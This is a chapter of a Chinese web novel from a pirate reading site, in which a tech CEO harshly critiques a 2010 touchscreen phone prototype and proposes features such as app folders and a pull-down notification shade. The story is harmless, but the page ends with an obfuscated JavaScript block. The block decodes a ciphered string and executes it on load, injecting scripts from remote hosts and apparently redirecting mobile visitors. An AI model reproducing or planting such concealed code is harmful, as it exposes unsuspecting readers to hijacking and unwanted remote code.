首页
[切换至繁体版]
返回

第262章 苛刻的修改意见

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    第262章苛刻的修改意见(第1/2页)
    陈建国原本以为,作为一款在短短两个月内从零起步、硬生生拼凑出来的工程样机,能够达到这种“滑动解锁”和“界面切换”的程度,已经足够让大老板满意了。
    但林辰那双深邃的眼睛盯着亮起的屏幕,脸上的表情不仅没有丝毫喜悦,反而渐渐凝重了起来。
    林辰伸出右手,将那台厚重的样机重新从工作台上拿了起来。
    他没有再去慢慢体验那个炫酷的解锁动画,而是把大拇指按在屏幕上,开始进行连续的、极快速的左右滑动切换。
    一次,两次,三次……
    起初的几下,界面的跟手度还算可以。
    但当林辰将滑动的频率和速度骤然提升,并且在主界面和应用列表之间进行暴力的来回切换时。
    原本还算流畅的屏幕画面,突然出现了一丝肉眼可见的撕裂感。
    紧接着,那个滑动过度的动画开始变得卡顿,图标在跟随手指拖拽的时候,出现了明显的残影和掉帧。
    就像是一个体力透支的跑步者,脚步开始变得踉跄。
    实验室里原本有些兴奋的气氛,随着林辰这几下近乎暴力的极限测试,瞬间冷了下来。
    所有人都闭上了嘴。
    林辰没有停手。
    他点开那款内置的辰希手机助手,在里面随便找了一张高清的测试图片打开。
    他伸出食指和大拇指,按在屏幕上,做了一个自然的“双指捏合缩放”动作。
    图片没有立刻放大。
    足足过了零点五秒的延迟之后,图片才像是一块被人强行拉扯的破布,伴随着明显的卡顿和马赛克边缘,极其生硬地放大到了全屏。
    林辰停下了所有的操作。
    他抬起头,看着刚才那个还信誓旦旦说“滑溜得像科幻电影”的底层算法工程师。
    “这就是你们说的完美兼容?”
    林辰的语气不疾不徐,甚至听不出一丝发火的迹象,但在这种死寂的环境下,却透着一股让人骨头缝发冷的压迫感。
    “你们是不是觉得,只要把图标做成方块,只要手指能在屏幕上划两下,这就算是一台合格的全触屏手机了?”
    那个算法工程师额头上的冷汗“唰”的一下就下来了,他结结巴巴地解释:“林……林总,刚才可能是在后台同时拉起了几个监控进程,占用了CPU的线程,所以才会出现掉帧……”
    “用户在买手机的时候,会去管你后台有几个进程在跑吗?”
    林辰毫不留情地打断了他,把那台工程样机“啪”的一声扔回了防静电垫上。
    “你们做的是消费电子产品,不是放在实验室里供着的神仙。”
    “我刚才只是连续滑动了十几下,加上一个双指缩放,系统就出现了零点五秒以上的响应延迟。如果这是一个正在打字的用户,他按下一个字母,屏幕要等半秒钟才有反应,你觉得他会不会气得把这台手机直接砸在地上?”
    林辰的目光扫过在场的所有人,眼神锐利如刀。
    “不要拿安卓底层的架构缺陷来当借口。我知道早期的安卓系统在UI渲染机制上很蠢,它把图形渲染的优先级和普通的后台数据处理放在了同一个级别。”
    “但我请你们来,开出行业三倍的工资,就是让你们来打破这个规矩的!”
    林辰伸出手指,重重地敲击在桌面上:
    “去改底层的框架代码!把UI渲染线程的优先级,给我强行提拔到整个系统的绝对最高级!只要用户的手指接触到屏幕,系统所有的算力必须无条件向图形渲染倾斜!我要这块屏幕的刷新率死死地锁在六十帧,哪怕是一毫秒的掉帧都不允许出现!”
    这番话说出来,几个核心架构师听得头皮发麻。
    这是直接要动安卓系统的祖坟啊!把UI渲染强制提权,这在技术上是一项极其浩大且繁琐的工程,需要重构大量的内核代码。
    但他们不敢反驳,因为林辰指出的痛点太致命了。
    如果全触屏手机连最基础的“跟手”都做不到,那它连一台按键机都不如。
    林辰没有给他们喘息的时间,他拿起样机,点开了短信输入界面。
    屏幕的下半部分弹出了一个虚拟的全键盘。
    林辰用大拇指在上面快速地敲击了几个字母。
    “嗡、嗡、嗡……”
    伴随着手指的点击,手机内部传来了一阵沉闷且拖沓的震动反馈,就像是有一只老旧的寻呼机在机身里嗡嗡作响。
    林辰皱起了眉头,转头看向陈建国。
    “老陈,这就是你给这台机器选的震动马达?”
    陈建国老脸一红,赶紧上前一步解释:“林总,这是目前市面上最成熟的转子马达。诺基亚和摩托罗拉的高端机用的都是这种,采购成本低,而且震感强烈。”
    “震感强烈?”
    林辰冷笑了一声,语气里透着一股深深的失望。
    (本章未完,请点击下一页继续阅读)第262章苛刻的修改意见(第2/2页)
    “老陈,这是全触屏。我们取消了实体按键,这就意味着用户在打字的时候,失去了最真实的物理按键塌陷反馈。”
    “他们按在玻璃上,心里是没有底的。如果这个时候,你给他的反馈是一阵像拖拉机一样浑浊、拖泥带水的‘嗡嗡’声,这不仅不能弥补物理反馈的缺失,反而会让整个打字体验变得廉价和恶心。”
    林辰把手机递给陈建国,毫不留情地下达了修改指令:
    “马上联系供应链,把这个垃圾转子马达给我扔了。”
    “去采购‘X轴线性马达’。不管它现在的良品率有多低,也不管它的体积有多难塞进主板里。”
    “我要求这台手机在用户敲击虚拟键盘的时候,给出的震动反馈不是‘嗡嗡’的余震,而是干脆、利落、清脆的‘哒哒’声。要像真的按在了一个精密的机械开关上一样,收发自如,绝不拖泥带水。”
    陈建国听得倒吸了一口凉气。
    X轴线性马达?那玩意儿现在全世界都没几家厂在用,成本比转子马达贵了十倍不止,而且体积偏大,如果强行塞进手机里,整个主板的元器件堆叠布局就得全部推翻重做!
    但看着林辰那不容置疑的眼神,陈建国硬生生地把所有的困难都咽回了肚子里,摸出随身带的笔记本,开始疯狂记录。
    林辰的挑剔并没有到此为止。
    他看着这群已经被打击得有些抬不起头的顶尖工程师,继续在这个简陋的操作界面上进行着降维级别的剥皮抽筋。
    “再看看你们的UI交互逻辑。”
    林辰指着屏幕顶端那一排极其细小的系统状态栏图标。
    “如果用户在看小说或者浏览网页的时候,突然来了一条短信,你们现在的逻辑是什么?是退出现有的应用,回到主菜单,再去点开短信图标查看?”
    那个负责UI设计的年轻总监咽了口唾沫,点点头:“是的林总,目前的安卓原生系统都是这么处理的……”
    “反人类的设计。”
    林辰毫不留情地给出了评价。
    “用户的操作路径太长了。你们要在系统底层加一个全局覆盖的模块。”
    林辰用手指在屏幕最顶端的状态栏位置,做了一个极其连贯的向下滑动的手势。
    “全局下拉通知中心。”
    “只要有新的消息、未接来电,或者系统提示。用户不需要退出当前应用,只需要在屏幕顶部往下一拉,就能拉出一块半透明的通知面板。看完之后,往上一推,面板收起,用户继续刚才的工作。”
    听到这个“下拉通知栏”的构想,UI总监的眼睛瞬间瞪得像铜铃一样大。
    这种兼顾了多任务处理和用户体验的交互设计,简直是天才般的脑洞!
    这不仅解决了系统层级的割裂感,更让整个手机的操控变得极其立体和高效。
    “还有桌面图标的整理逻辑。”
    林辰继续开火,直击痛点。
    “现在装几个软件,桌面就铺满了。用户如果装了几十个App,难道要在屏幕上左右滑动十几页去找一个图标吗?”
    “加一个‘文件夹’功能。用户只要长按一个图标,把它拖拽到另一个图标的上方重叠,系统就自动生成一个归纳文件夹,并且允许用户给这个文件夹自定义命名。这样,几百个App也能被规整地收纳在一个屏幕里。”
    下拉通知栏。
    桌面图标文件夹。
    全局高优先级UI渲染。
    X轴线性马达的清脆反馈。
    林辰抛出的这些修改意见,在十几年后的智能手机时代,几乎是每一台千元机都标配的基础功能。
    但在2010年这个全触屏智能机刚刚处于蒙昧期的洪荒时代。
    这些极其苛刻、甚至在工程实现上堪称变态的修改要求,对于在场的每一个硬件和软件工程师来说,无异于一场认知层面的大地震。
    他们原本引以为傲的工程样机,在老板这种拿着显微镜的极致挑剔下,瞬间变得千疮百孔,简陋得像个刚学会走路的残疾婴儿。
    没有任何人敢有半句怨言。
    因为他们心里清楚,林辰指出的每一个缺点,提出的每一个改进方案,都精准地踩在了提升用户体验最核心的痛点上。
    陈建国团队的成员们,一个个连大气都不敢喘,手里拿着笔记本和碳素笔,低着头疯狂地记录着。
    生怕漏掉了老板嘴里蹦出来的任何一个改变时代的设计细节。
    “这些,只是冰山一角。”
    林辰把手机放在桌面上,看着这群满头大汗的技术狂人,眼神深邃而冷酷。
    “不要因为点亮了一块屏幕,就觉得自己创造了历史。现在的这台机器,在我眼里,连及格线都达不到。”
    “一台伟大的产品,不是功能的堆砌,而是每一个细节都让人感到舒适和克制。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();